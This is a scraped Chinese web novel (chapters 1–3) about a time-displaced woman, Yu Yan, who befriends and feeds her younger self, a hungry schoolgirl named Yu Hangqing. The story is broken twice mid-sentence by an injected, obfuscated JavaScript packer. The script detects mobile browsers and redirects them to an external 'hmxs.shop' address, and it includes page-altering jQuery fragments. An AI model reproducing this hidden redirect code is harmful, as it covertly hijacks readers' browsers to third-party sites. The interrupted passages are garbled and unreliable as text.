《相濡以沫[水仙]》 1. 第 1 章初遇 沉重的书包压着女孩的背往后拖,肚子里空空如也,饥肠辘辘,面上完全是学了整整一天的疲惫。简直狼狈到了极点的地步。 见到喻衍,她大概是刚刚参加完什么活动出来,手里拿着奖杯,意气风发。 就那么自然而然的闯进余杭清的视野里,站在他们家老旧的家属楼下。 那个女人光是站在那里就满足了余杭清对大人最完美的想象。忍不住不怎么礼貌的用目光一遍一遍上上下下的梭寻。 一头短发乌黑,显得极有生命力,神秘而深邃,在夜晚的路灯下像是被神明精心雕琢过的青玉。微风轻拂,将发丝扬起。乱了些,却又别有一番活力。 女人穿着一件舒适的白色t恤,T恤的衣摆塞进卡其色的高腰阔腿裤中,阔腿裤的材质挺括,线条流畅,走起路来一定带风,潇洒大气。 裤兜里隐隐可以看出智能手机的轮廓,昭示着这个女人不凡的财力,这个时候,智能手机还不算普及。 旁人趋之若鹜的奖杯就被喻衍随意的拎在手上,混不在意,像是拎块砖头似的。 那时候余杭清就觉得这个人简直酷毙了。世界上一定不会有比这个人在自己心里更酷了。 只不过余杭清从来没有想过自己和她有交集,因为怎么看也不像一个世界的人。更像是自己心里头做出来的一个美梦,才能哪儿哪儿都合自己心意。 她几乎是霎时间站直了身体,那点儿弯腰驼背的气质一下子就散尽了,像一颗坚韧挺拔的竹。 那个时候其实余杭清也就是一个小学生,还是个小萝卜头。 只是单纯的对那种优秀的大人的那种欣赏和仰慕,忍不住多看几眼的,没什么进一步的打算,目光却像被胶水死死黏住似的,抽不回来。 又好奇又害怕。 喻衍看起来很优秀,但是又跟余杭清平常见过的那些成年人不一样。 至少喻衍这么短的头发,在女孩子里是很少见的。像火凤凰里面那个精通it的帅气侠女。虽然她的手背上有一条触目惊心的狰狞的疤。 可是余杭清自以为的隐蔽目光还是被余杭清发现了,是的,小孩子过过家家一般的打梁,在喻衍的眼里几乎是无处隐藏。 喻衍等的就是她不由自主的目光流连。 那天喻衍在这个时间发布的第一篇作品获得了网络文学创意一等奖奖,奖金一千五百块。 交完出租屋三个月九百的房租还能剩下六百块,喻衍终于有底气走到了年少时的自己身边。 喻衍盘算着,不让对方吃苦的话,她才有资格出现在对方面前。 这个时候的自己有种不谙世事的天真大胆,可爱的紧。一双圆溜溜的小凤眼滴溜溜的转。 喻衍看到余杭清的一瞬间好像想起了什么,瞳孔微微扩张,脸上绽放出了然的胸有成竹的微笑。 其实余杭清当时那个角度根本看不见喻衍的瞳孔,只是觉得一模一样的脸怎么突然间就变得柔和了许多。 只是看见别的作者这么写,余杭清也就这么写,因为百科里说看到喜欢的人,瞳孔就会微微放大,是一种人体的自然生理反应。 余杭清希望喻衍是喜欢自己的。 于是在那个弥漫着旁边烧烤浓烟的油腻盛夏,余杭清遇见了自己一辈子都不会忘记的神妃仙子。 仙子却沾上了人气儿,好像有些急促的小跑着,来到了余杭清的面前。 在路灯下面透过斑驳的树影,余杭清看见那个人对自己笑的腼腆,碎发透过路灯昏黄的灯光像是神明再现。 喻衍弯下腰,保持一个平视的高度,弯着眉眼问余杭清,“你是在看我吗?” “今天拿了奖,心情好,想不想跟我一起去吃顿饭庆祝一下?” “姐姐请你哦。”带着些诱哄小孩子的意味。眉眼弯弯地朝着人笑。 那时候的余杭清绝对不会答应跟一个陌生人去吃饭的。 所以即使喻衍再是吸引余杭清,余杭清还是拒绝了。有些优柔寡断的轻轻摇着头,在心里默默可惜。“不用了,谢谢你。” 所以喻衍给余杭清拿了一百块钱,甚至都没问女孩同不同意就直接塞到书包侧边的那个网兜里。 女人贴在余杭清耳侧吐气如兰,“如果对我不放心的话,那就自己去吃,我想把那份快乐分享给你。所以你也没必要有什么压力。” 多么人美心善的。 什么都替喻衍考虑好了,以这样不容拒绝的姿态,把对喻衍好的东西强势的捧到了喻衍面前。 上了一天课,正是饥肠辘辘的时候,余杭清正长身体,下午忙着上补课班又吃不了几口饭,每天日复一日跑过去。 晚上饿的从冰箱里面翻剩饭自己去热,大多数时候来不及热透就半热不热的去吃,甚至有时候没有剩饭,就冷饭也没得吃。 喻衍什么都不图余杭清的,搜肠刮肚硬找一个理由想余杭清吃一顿饭。 余杭清想去的,可是妈妈不允许她在外面跟陌生人吃饭。 余杭清是一个很乖很乖的小朋友。 她知道母亲是为了他好,两个人打他他什么蠢兮兮的一下子被人贩子拐走了。 所以她乖乖道了谢,认认真真的拒绝,“谢谢你姐姐。不用了。”尽管明显知道对方只是单纯的善意,也没有接下去的勇气。。 余杭清以为喻衍不会再跟她说话了,毕竟这么言辞拒绝掉她的好意,让小姑娘的脸上也显得有些不好意思。 喻衍伸出手,目光下视,落在伸出的手。然后像是被什么东西烫了一样,猛的缩回来。 她的手太粗糙了。甚至有的地方还有一点变形。 那个时候女人,莫名其妙就被传送到了这个时空,身份证,驾驶证,职业资格证书,毕业证一系列,证书的颁发时间都在很久以后,其实即使带着身上的身份证,也起到零点用处。 只能找那种没什么人乐意干的零工,不要身份证,在火车站旁边的小超市里当理货员。一个月六百,包饭。 有货的时候就搬货,一次搬两三箱方便面,那种一整提的啤酒或者是整箱的水,一只手拎一个。力气出奇的大。 晚上十一二点下了班之后又伏案写作,连稿纸都他爹得双面写。一个周去网吧上传一次,一次三个小时,不连断的打字,那时候网吧两块多一个小时,网速又慢,有时候闪退,一下子全白打了。她就加十块钱包夜,整宿整宿的弄,第二天又正常上班去。 或许她变形的手指和这有关,又或许不止和这有关。 没货的时候就用凉水摆了抹布,擦那些不常卖出去的东西上面的灰。冬天的水冷的刺骨,有时候摆抹布的时候冻的都没什么知觉。 不过她刚来没什么钱买衣服,整个人都冻的是僵的,浑身都没有知觉的话,就不在乎手有没有知觉了。 她得攒够钱买个假证,然后坐火车到南边去,时代的潮流不会眷顾此刻四面环山的洛城。 管你是投资股票,短视频迅速发展,网店崛起还是其他,最开始总得有点钱吧,像他这样过分平庸的人,想要迅速完成资本积累,或许只能靠着去电子厂什么的打工。 她恨绝了这种发展的不平等,以至于将她传送到了生她养她的这个过分贫瘠的闭塞小城。 于是喻衍坚定的头也不回的,揣着那张假证惴惴不安的,找售票处的姐姐买了票,一路坐车离开北上。 火车上气味很嘈杂,她甚至没舍得买坐票。 一路上喻衍想了很多,该说是天意弄人吗? 前途一片灰暗,又一片光明。 让她知道这么多时代机遇,让她带着自己的身体回来,而不是困在小孩子的身体里,看着一切无能为力。 与此同时又毁掉了她所有的生活秩序,尽管跟父母关系不太亲近,尽管学得不太好,可是她真正孑然一身的时候,真正学了十几年的文凭,变成一张废纸的时候,又怎么能让她甘心。 她喻衍非要在这个时时代闯出一片天地不可。 好奇怪,一直顺风顺水,上了十几年学的人,竟然这么能吃苦,底薪一千八百块钱,双倍加班费,去的那个月刚好赶新机种,喻衍又乐于上夜班,晨昏颠倒的干法,要钱不要命。 第一个月她就拿到了四千三百块钱,虽然就是个小时工,没有五险一金。 可那厚厚一叠钞票真正落在喻衍手里的时候,她竟然有种近乎泪目的冲动。 她在那干了三个月,有一次没戴手套,烙铁夹坏了,临时放在周边,大概也是晚上上班,白天码字,休息的时间实在太短促,一个没注意手搭上去,霎时间一阵灼痛,后来就留了好长一道疤。 喻衍之前没觉得有什么,留疤就留疤呗,她又不靠手漂亮过活。 可此刻久经霜冻的手竟然突然恢复了知觉似的,像被电打了一一样猛的缩回来。 喻衍觉得不好意思。 特别是手伸过去和女孩儿校服短袖下洁白的臂膀对应,就特别不好意思。她的手足够粗糙,上面的疤也足够狰狞丑陋。 当时被烫都没这么疼的,看到余杭清落在喻衍缩回去的手上的目光却像是真真接了烫手山芋一般。 小姑娘很有礼貌的,没多问什么,眼神里带着心疼和惋惜,没伸出手来,只乖乖站在一边,朝她牵起嘴角。 余杭清没问痛不痛,这样深长的伤,理应是很痛的,何必再戳别人心窝子的话。 又或许她确实是个没什么用的小破孩儿,这种特立独行的大姐姐大概也不想跟她耍。 眼神里不由得带上点暗淡,把头颅垂下去又恢复刚才那种黯淡疲惫,有些微微驼着背背书包往后扯的感觉了。 可是喻衍还是牵住了余杭清的手,看着她懊丧的垂下的头,另一只手摸摸她的额头,连带着她整个人一起按在怀里,不容拒绝似的,带余杭清走到了旁边的烧烤摊。 “听话,姐姐请你吃烧烤。” 就是小县城里面的那种烧烤摊子,混杂着烤肉炙烤的时候那种烟熏火燎的气味和男人们香烟的味道。 厨房里好像什么都沾着那种油烟,然后桌子上也带着一层薄薄的油,桌椅板凳什么的就会被那个阿姨顺手拿一个抹布全擦了,不怎么卫生,但是很舒服,可以不用担心价格,然后随意的找一个桌子坐下。 但其实整体的气味是不怎么让人舒服的。 靠近烧烤炉边上,真的就是那种烟味很大,烟熏火燎的很浓的一层烟,从那个烤炉上方的排气孔排出来,隔老远就能看得见。 更离谱的是有的人的硬喝,然后旁边下水道跟前就会有一层那种呕吐物,酒精发酵之后的味道,混杂在一起更加难闻。 旁边是那种男人的高谈阔论,说一些什么政治啊,形式什么的听不大懂,但是声音很大,然后别人还没有什么反应的时候,自己就已经说的很激动,脸很红了。像是一到年纪就自动解锁了政治历史学知识。 女人们就坐在旁边照顾着到处乱跑的孩子,好不容易带回来给喂了两口,然后又跑去了。有的孩子被吓哭了,就只能瑟瑟的躲在母亲的怀里,然后被拍了又拍。 余杭清家里基本上也是这样的,男人,女人,她是那个孩子,唯一稍微强一点的是他比较坚强,被吓着了也不哭,也不用人哄,甚至还能哄哄妹妹。 有种很自然的典型感。 烧烤店老板会很大声的吆喝。 所有的一切对当时的余杭清来说都很熟悉,但是还是很害怕,像是那种只有大人才能来的那种场合,突然混入了一个格格不入的小孩。 所有的混杂在一起的气味也只会让余杭清感觉到不适应。 在所有的一切包括整个烧烤摊子的氛围影响之下,那个时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819966|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候都余杭清只能小小的跟在喻衍背后。 一步也不敢离开。 越靠近就能闻到越发浓烈的梨木香。所有混杂着的让余杭清觉得不适的味道之外,只有喻衍的味道让余杭清觉得安心。 喻衍身上没有明显的味道,大多数时候是各种味道的香水,对外一般就是木质香喷的最多。是那种很清冽的味道,感觉很正经。 但是偶尔来看余杭清的时候,又会喷一些甜甜的花香果香之类的,伴随着一大堆的护手霜香气,还有各种饭香。格外的柔软和温馨。 明明喻衍身上的香气变化的很多,很快,三分钟热度似的,今天喷这个明天喷那个,但是余杭清却总能在人群中分辨出喻衍的味道。 那是家的感觉。 相对来说比较懒散随性的人,为什么就一直坚持着喷香水这个习惯。 有一天余杭清问喻衍,“你怎么总喷这些杂七杂八的香水,说多变吧,又不怎么变感觉,说不变吧,每天的味道都有差一点。” 喻衍那时候看小姑娘的眼神像看傻子似的,好奇这个时候的自己能推出什么有理有据的原因,直接问她,“那你喜不喜欢?” 就,意料之外的答案,余杭清还以为喻衍会说感觉什么的那种比较抽象文艺的。 自己的喜欢很重要吗?原来她是在乎自己喜欢。 余杭清有点好奇,不过在这个人面前,她向来大胆随性。“我喜欢很重要吗?你喷这个是为了我?” 喻衍笑得爽朗漂亮,笑得见牙不见眼,一口大白牙,像吞噬情绪的巨兽。“当然,你喜欢是世界上最重要的事情。不过你得告诉我为什么喜欢,毕竟我不能钻到你的心里去看。” 小姑娘老老实实的回答,一边说一边想,眼睛滴溜溜的转,灵动狡黠。“因为靠近你就觉得安心幸福,稍有远离,便觉得心脏也不是自己的了。” 酸溜溜,弱唧唧。喻衍有些看不起,轻嗤一声,伸手揉了揉女孩的头发。“矫情死了,我那时候怎么这么软。” 小姑娘的脸颊被人轻轻往两边扯开,没舍得用力似的,说呃着嫌弃。眼角眉梢却都带着笑。“就是喜欢嘛。” 她嗤之以鼻。“我一年涂八百多瓶护手霜,你喜欢有什么用?那味儿不还是天天变,也就身上这个香水见你的时候喷的多一点,也不知道你狗鼻子似的,还能闻出来这个。” 偏偏这股香气后来也不怎么变。雪松混着乌木的沉稳冷烈,夹杂着各种甜品的香,暖和的饭香,奇奇怪怪,但阶段性存在着的护手霜香。 喻衍身上混杂的香气,陪了余杭清一年又一年。主调不变,其他的就成了小惊喜,他闻得出来是她,就没关系。 平时坚固冷硬的人到了余杭清面前,却显得格外柔软温柔,尽管讲话不算中听,靠着这份欲予欲求的特权依旧让余杭清觉得自己是唯一一个特殊的存在。 然后喻衍就说出了一句,余杭清这辈子都会记忆犹新的话。 喻衍说,“只有女人,只有那种带着母性光辉的人,才能让家有一点点人味儿。” 而喻衍,想给余杭清一个温暖的家。这句掩在心里的话,没舍得说出去,她向来自负要强,这样服软示弱的话,像是在报道德绑架对方顺从自己,她不乐意。 喻衍想把在外的所有尖刺都收回来,给余杭清一个柔软的温暖的可靠的家人。 会有一个人那么细心认真的考虑余杭清的感受,像她肚子里的蛔虫似的,一点儿也不被忽略,让她被护的严严实实的,过幸福快乐的日子。 在生命的各个时刻,用各种各样的物品和爱意填满余杭清的每一点一滴的生活。 就当是弥补自己,哪怕养出个小白眼狼也没关系。 内双手不是很漂亮,有点像小学生手,小小的,但是温暖干燥,宽厚有力,手放上来的一瞬间,余杭清就没有了什么戒心。“走了小孩我还能害你似的,实在不行咱俩一人一个桌呗,钱都给你了,你自己点也行。” 喻衍牵着余杭清往那边走,余杭清就跟着喻衍,坐在烧烤摊儿,印着勇闯天涯的塑料椅子上。“嗯,那倒也不用。”小孩有些懊恼的揉着自己后脑勺的头发。 昏黄的路灯在余杭清的视角里刚好打在她的后脑勺,像是天上的仙女,发丝发光。 头发微微垂落,喻衍就会浑不在意的用手把前面的碎发拨后去。然后继续温柔而又专注的注视着余杭清。 “一把烤牛肉,一把筋儿,两份金针菇,一份烤鱼。” 很快菜都上齐,小姑娘迟迟不敢动筷,喻衍就抬起头看着小姑娘笑,“怎么?不敢吃?来来来,挑一串我试毒给你看。” 余杭清当时还挺诧异,哪用得着这么麻烦。“这个饭是非吃不可吗?” 她觉得不值当,这样费尽心思气的,只是找自己吃饭而已,自己又哪里值得,喻衍请她余杭清吃饭,然后还要照顾她的感受。 可是这个饭余杭清是真心想吃,而且还是跟喻衍一块吃。 喻衍的身上那种冷调的木质香,余杭清之前看小说的时候一直有所想象,但是真的从喻衍身上闻到的时候,就更觉得干净清冽。 她说,“非吃不可的,我觉得你饿了。” 她好喜欢。 被自己认可,大概是世界上最大的荣光。 喻衍看到小姑娘骤然亮起的眼睛,原来这也算得上能让她高兴起来的肯定。 好满足到让人心疼。 然后余杭清就随便给喻衍挑了一串,喻衍就吃,是真的喂了就吃,毫无一点防备,喻衍真的吃的特别诱人,仿佛是什么得天独厚的美味。 喻衍吃东西有种狂放地仔细,看上去很讲究,又不那么讲究,吃烧烤之前会先用纸巾擦拭上面的尖,然后再大快朵颐,一次就能撸掉小半串,两三口就吃一串。 余杭清一下子就饿了。 2. 第 2 章再遇 好吧,其实余杭清那天本来就很饿。 后来爸爸妈妈总拿余杭清为了上学,连饭都来不及吃,就往补课班跑弟弟妹妹们说余杭清有多么努力。 可是余杭清一点也不高兴,如果她真的有足够的时间吃饭的话,大概不会跑的那么着急。 辅导班要控制学生晚上回家的时间,确保自行回家学生的安全。这一点没有错,学校。放学的时间是按时规划好的,这一点也没有错,是她余杭清自己要强,自己要按时到校,所以吃不上饭是他活该。 妈妈不喜欢余杭清晚上吃东西。会怒目远视的瞪过去,“这个点了还吃,晚上不要吃东西!” 下午来不及吃,晚上就会变得格外饿,但是妈妈觉得余杭清会长胖,所以连剩饭剩菜都显得吝惜,家里也少有方便面什么的。 后来有了,但是后来余杭清长大了,好像也没有那么饿了,留给弟弟妹妹们吃去。 余杭清能胖成什么样子呢? 早上起来喜欢赖床,根本来不及吃早餐,就中午吃了一顿,下午急着去上补课班。 又吃不下午饭,匆匆忙忙扒几口就得去写预习的导学案。晚上又不乐意让余杭清吃,能吃个豆啊,还胖呢,不饿死就不错了。 看起来跟个大胃王一样,什么都吃,实际上肠胃差的要命,稍不注意肠胃炎就犯了,痛得冷汗直冒。 喻衍最清楚自己当初的无奈,也了解小姑娘的坚韧,如果不是真的饿了,就算自己再诱惑,也不会跟着走的。 喻衍心疼地拧了拧眉,没忍住握了她的肩膀,看出余杭清的窘迫和渴望,所以递给余杭清一串。“吃吧宝宝,你看我也吃了,没关系的。” 甚至仔细的用纸巾擦拭了前面烧烤签字的尖而且适合捏手的那个半段朝着喻衍递过去。 余杭清接了,小心翼翼的啃。 喻衍看见余杭清的吃相,笑余杭清,哂笑。“好可爱。” 小孩子不识好歹,看见大人这种蜜汁微笑,总觉得是喻衍暗暗嘲笑自己。鼓着腮帮子吃的用力。一点点把肉撕扯下去,企图震慑喻衍,目光如炬。 喻衍又给余杭清递一串。“怎么这么乖呀?吃的这么斯文。” 但是斯文在余杭清看来可不是什么夸人的好词,斯文能吃什么,装模作样的才是斯文,余杭清要是真斯文,在家能吃饱饭才有鬼了。 虽然乖巧听起来也不像什么好词,毕竟乖巧懂事就意味着总要帮大人很多忙,感觉有种疲于奔命的乏累感。 可是那双琥珀似的眼睛太真挚了。欢欣愉悦的氛围散发开来。仿若心疼怜惜的目光落在喻衍的肩膀上。面前氤氲着烧烤热腾腾的香气。“你可不可以同意,明天我也请你。”这句话。最终被压在心里,她们才刚认识,不能操之过急。 终于,喻衍把菜单推到余杭青面前,“可不可以就当满足我一个小心愿,点一点你喜欢吃的,我觉得你可能会喜欢吃的,或许跟你本能喜欢吃的不一样,我想满足现在的你,让你开心。这就是我的愿望。” 我的愿望很简单。 让你吃饱,让你穿暖,让你开心。 余杭清小心翼翼的指了指菜单上的烤蘑菇,“我想试试这个,虽然不知道好不好吃。” 余杭清总是这样有些怯懦的不自信的低着头,用两旁有些杂乱的刘海遮住自己繁杂忧郁的思绪。 她记得女人缩回去的手,虽然不知道为什么又牵着她,抚着她的额头,可她依旧怯懦的怀疑着自己。 会不会冒犯到别人,会不会又突然让别人生气? 其实这个人的爱好跟自己相似颇多,喻衍点的肉菜已经足够两个人的量了,看对方吃饭也是兴趣恹恹的样子,好像投喂自己比起让喻衍吃,让对方更高兴。“再吃一口吗?这个看起来成色好看?” 小姑娘就乖乖低头用筷子去夹,得到女人风情万种奖励似的一瞥。“乖宝宝。” “吃得好香。” 喻衍很快兴高采烈的跟烤肉店的老板娘打招呼,说“再加两串烤香菇”,然后回过头来用亮晶晶的眼神看着余杭清。 喻衍又不知道我家里什么情况,她在高兴什么呢?偏偏戳中了余杭清心底最柔软的那个点,于是连眼睛也酸涩起来。 原来喻衍的爱是如此细腻的,像阳光一样倾洒在身上,暖呼呼的。 原来这种近似于浪费的,点自己完全不知道味道,甚至不一定会吃的东西。也有人陪着,甚至做好浪费的准备,而且可以被夸奖的。 余杭清忍不住问她,“我没吃过这个,也不知道好不好吃,其实我只要一串就够了。” 可是喻衍说,“我也想试试,想陪你一起试试,我们第一次见面,我不想你不自在。” 那时候的余杭清不喜欢被别人调侃,不喜欢标新立异,不喜欢特立独行。更喜欢混杂在芸芸众生里,叫别人揪不出一点尾巴才好,这样就不会挨骂,就可以低着头,蜷缩着,保护好自己。 喻衍又跟余杭清说“慢着点吃,在饭店呢,不够再点,要是担心我不点的话,可以先点,吃不完带回家也好。” 喻衍好像余杭清肚子里的蛔虫一样。 因为余杭清爸爸之前也这样讲,可是当余杭清说余杭清想再要再点的时候,家里人好像并不乐意,也没有帮余杭清再点。只用一种她好像十分不懂事的目光睨过来,安抚说,“再多就吃不完了,你要乖。” 余杭清每次都点的很多,然后吃不完就会挨骂,但是余杭清起码点了,然后能吃到,不然家里面那么多小孩,余杭清又抢不过,点了吃不到,不就跟白点一样。 饭菜刚上来的时候像是饿虎扑食,吃什么都得靠抢,有时候噎的呛的都快吐出来了,也舍不得吐,因为再抢不到一样的了。 可是喻衍跟余杭清说,“你要是不放心,可以现点,吃不掉,我们打包也可以的。” 她清楚她压在心底的不甘和窘迫。清楚留存在过往里,如同附骨之蛆一样死死跟着她的沉菏旧疾。 她的手搭在她的两侧肩膀上微微往下压,很有力,从钱夹里抽了五百块钱,压在烤盘底下“你信我,我不骗你,我把钱押在这儿,不管你点不点,都给你。” 喻衍明知道吃不掉,却还是惯自己这样的坏习惯,真是坏极了。 可是余杭清太喜欢喻衍这种坏了,这种近似于娇惯的纵容,对她来说简直是久旱逢甘霖。正巧挠到痒处。 “真给你的宝宝,今天绝对给你实现点菜自由!” 一个平素被管得很严的小姑娘,没什么自由活动的余地,有一点偏爱和纵容就显得足够高兴。 大概是看余杭清不好意思,喻衍又点了一把筋儿。 喻衍怎么知道余杭清喜欢吃这个? 两个人点这么多,肯定吃不完。 所以余杭清拦住了喻衍。 “还有条烤鱼没上呢。” “已经让您很破费了,再点的话吃不完也浪费,第二天口感就不好了。”余杭清装模作样的提醒喻衍。 有那种小孩装大人的感觉了,喜欢看小说的女孩子就是比较早熟。 余杭清那个时候觉得自己的特别周全特别棒,自己还会在心里暗爽。看见他嘴角微微上扬的小表情,就觉得想笑。 “这么懂事啊,乖乖?”喻衍也有些摸不着头脑的暗爽,当时的自己人还挺好的,要是让现在的她去,高低先点上一桌子,吃不了带回去就是。 反正又不是她付钱。 然后喻衍笑余杭清,就说“都听你的”。 她们两个就在那吃,最后实在还是没吃完,剩了半条烤鱼,然后让喻衍带回去,因为余杭清不敢带回去,被妈妈抓到就完蛋了。 喻衍很有分寸感的颔首,并不追问,自己的家庭情况如此,没必要让小姑娘为难。 二人分分开之时,小姑娘向她眨了眨眼,“我叫余杭清,你叫什么?” 喻衍当初还没给自己起这个名字。身份证和毕业证上都是余杭清。一个刻意表达亲近,请小姑娘吃烧烤的,奇怪女人跟小姑娘有一样的名字,这不直接警惕性拉满? 干脆跟小姑娘信口胡诌。“我叫鱼眼。就鱼目混珠的那个鱼眼。”她说着这话好像一点不脸红似的,张扬肆意,明亮自由的让小姑娘的移不开眼。 可眼睛里的黯淡却怎么也藏不住,如果不出所料的话,她会是那颗混进珍珠里的鱼目吗?那颗虚妄的赝品。 后头小姑娘一口一个鱼眼的叫。实在难听。又舍不得跟小姑娘说自己撒了谎。干脆一咬牙一跺脚,选了这两个字去民政局登记。 那是余杭清小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819967|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生涯里最高兴的一天,因为很早就把作业写完,从补课班里解放出来了,刚好形成一个时间差,可以稍晚一点回去。 余杭清提心吊胆的,到后面几乎已经是狼吞虎咽,喻衍拍着她的背顺下去,没敢问,只推过打开的果啤。 女孩匆匆离去,只留下瘦削的背影。 怅然遥相望,却毫不怀疑彼此心性。 尽管她熟悉母亲的脾性。 那是她妈妈,她无能为力。 剩菜被她打包回去,用小姑娘退回来的一百付了账。 桌子上沾着油污的钱小家伙没要,她就又塞回口袋里去。女人楞楞的,站在那里拼命眨着眼,红着眼眶,瞅小姑娘离去的背影。 即使最缺钱的时候,她也没要喻衍给她的钱。 最起码有了这钱,她可以吃饱饭。 那时候喻衍还真是穷的要命,挣了四千多,买了三千五百块钱黄金。 那个时候念书也不怎么关心经济大事,唯一还算清楚的就是那年黄金价格整体呈波动下行趋势特别好买。 七月份的时候竟然才二百六十块,喻衍不是没有想过要等那个最低点。 但想了想,钱还是捏在自己手上才安心,干脆一咬牙一跺脚,打了个十几克的金镯子,外头套了黑色皮筋儿,戴在手上。 又买了回去的票,剩了点儿钱随便买了点儿窗帘褥子什么的,她走得急,厂子里的没带回来。 完全可以说是一贫如洗。 反正正巧征文获了奖,一千五百块在这个小县城绝对够交房租了,人员流动少,房子难租出去,相对偏一点的地方就格外便宜,甚至或许都用不着押一付三。 当时这样想着,手头竟然也真的大胆的没有留钱,反正正是年轻的时候,饿几顿也没关系,之前能找到工作,现在也还算容易,再不济,她手上还有黄金。 喻衍做好了把这些钱完全给出去的准备,装作好不顾及的放在桌子上,肆无忌惮地耍着酷,穿着自己精心挑选出的最特立独行的衣裳。 她确信,余杭清一定看不出她此刻窘迫的经济状况。 可是对方没收,让她做足了准备的壮烈之举,没找到地方。 她怎么这么好呢? 这么纯然真挚的好。 ——————————————————— 左右不过十多天,余杭清在楼下自己买零食吃,然后碰见了喻衍。 楼下那个小店,其实现在还开着呢,小商店的房屋有点破旧昏黄的灯光下面是各种小小的五毛钱一包的那种小零食,花花绿绿的特别吸引人,至少对小时候的余杭清来说,特别特别有诱惑力。 当时手上有一块五毛钱,余杭清都觉得是巨款,可以买好多零食。如果一天一包的话,起码也可以吃三天。 没想到喻衍这个成年人也喜欢这些。 而且看频率好像天天都在买?天天在楼下晃来晃去。余杭清在楼上瞧见好几次。 却没敢亲自下楼去,只隔着窗户往下望,甚至没胆子打开那种早期绿色的纱窗。 妈妈说小孩子这样会掉下去的。 不安全。 之前总穿一条白色棉麻质感的文艺风长裙,搭一双波西米亚风的坡跟凉鞋,编个侧麻花辫,瞧着文艺感十足的。 其实大概是故意来找存在感,企图偶遇年少的自己,然后失败,只好自暴自弃。 却没想到歪打正着,刚巧和小姑娘相遇。 其实不是什么歪打正着,而是持之以恒的等待,又或者是惯性般自然的脾性保持。 后来对这些零食炸物之类的早就不感兴趣了,只是心心情不好,亦或是没什么事做的时候。就回过头去找一找,试图找到当时触碰到它们时最纯然的那种欢愉。 今天穿的就随意多了,大t恤大短裤脚上蹬一双拖鞋,头发像是随手抓了抓,有一部分还炸起来了。 这也是喻衍平常最爱穿的装束,大大咧咧,毫无束缚的洒脱随意,所以余杭清就断定喻衍穿阔腿裤那天算得上精心打扮,大概还是重视的,为了那天领奖。也为了蓄谋已久的初遇。 喻衍还是很大方。见到小姑娘就爽朗的摆手招呼。有些不好意思似的揉揉散乱的头发,朝着她弯腰笑。 “又遇见你了,亲爱的余杭清。” 3. 第 3 章我有爸妈不跟你 余杭清懂事又腼腆,笑意盈盈的招待这个大朋友,“上次你请我,这次我请你好了。” 喻衍却快步走到吧台前,把余杭清手上的全都放上去,然后水灵灵的又给余杭清拿了好几!样装起来。“老板,结账。” “好勒,一共34块五。”老板放一样进塑料袋,余杭清就莫名其妙笑一下。 使不得使不得呀,余杭清一边嘴角疯狂上扬一边用眼神疯狂拒绝,真的很不好意思了。 然而,天上没有掉馅饼的好事。过分的好意大概率是陷阱。 喻衍就有些揶揄的看着余杭清笑,毫不犹豫的付账,当初妹妹有的,现在的余杭清一.样也不能落。 她的宝贝就应该肆无忌惮的享受喜爱的一切。 镜片上雾气朦胧,余杭清几乎瞧不清眼前的一切,唯余故香飘散。 好香的姐姐,又满足她一个小愿望。怎么偏偏是个骗子呢。其实骗子也可以的,就怕是人贩子,像妈妈说的那样掏心掏肝的。 喻衍刚刚给余杭清买了一大袋子零食哎。像爷爷总买给小妹那样。 那个时候余杭清的心里那种雀跃混杂了一点点小小的感动,偏偏满满的警惕心从底下浮了上来,变得尖锐,又苦痛。有些不自然的揉了揉眼睛,“你别想用这些东西骗我,我有爸爸妈妈,不会跟你走的!” 余杭清不值得别人这样的好意。 东西被她一股脑塞了喻衍满怀。多到从喻衍的怀抱里溢出去,落在前面的地面上,险些砸到喻衍的脚。咕噜噜滚落一地。 一瞬间气氛冷凝,连店铺老板也不明觉厉。“小姑娘,你这是干啥?你姐姐都买了,你咋又不要,扔一地……”一边数落,一边捡起来。 “也亏得你姐姐这么溺爱你,要是我家里有这样的小孩,肯定要她屁股开花……”老太太做事细致,弯腰却有些吃力。于是话也说得重,吓小孩似的。 喻衍哪里看得了这样的场面,蹲下身子低着头帮老太太一起往起捡,其实卖出去了就该是她们自己的事儿了,这老太太也是人好,愿意多管这个闲事。 女人垂着头一言不发,低马尾在后脑勺扎起来,发质很硬。看起来就不像什么好欺负的软茬。翩翩沉默着一言不发。 在心里拼命暗示自己,这不是余杭清的错,小孩子有防范意识是好事情。 再出口就是干脆利落的安抚,“没关系,小孩子闹脾气嘛。我们做家长的也多担待,小姑娘,这些日子刚考了试,成绩不理想,所以心情不好。” 老太太把捡起来的东西一股脑扔在柜台上,见跟喻衍说不通,就进柜台里去了。临走前瞥一眼,哼了好大一声。 余杭清小脸通红,眼泪一颗一颗断了线的珠子似的砸到地底。没忍住,带着怒意反驳道,“你怎么知道我考得不理想?!” 小姑娘泪意涟涟的样子实在楚楚动人,不识好歹的样子也显得桀骜不驯。看到自己小时候的样子,心脏就酸软一片,连她说什么,好像也没法子顾及。 喻衍这个人实在是会顺坡下驴,“我当然知道你考得不理想。你猜猜为什么呀?” 喻衍看得出来余杭清没有真的生气,更多偏向于没有安全感,突然碰见一个对自己太好的人,不安心,所以就贱嗖嗖的又逗上余杭清,企图用这样的方法跟她拉近关系。 “你说你不是没考好,那你告诉姐姐你考了多少分好不好?” 不是人这么好,突然就开始问我的考试成绩,问我考了多少分,简直就是哪壶不开提哪壶,期中考试刚考砸了,被爸妈骂了一顿。 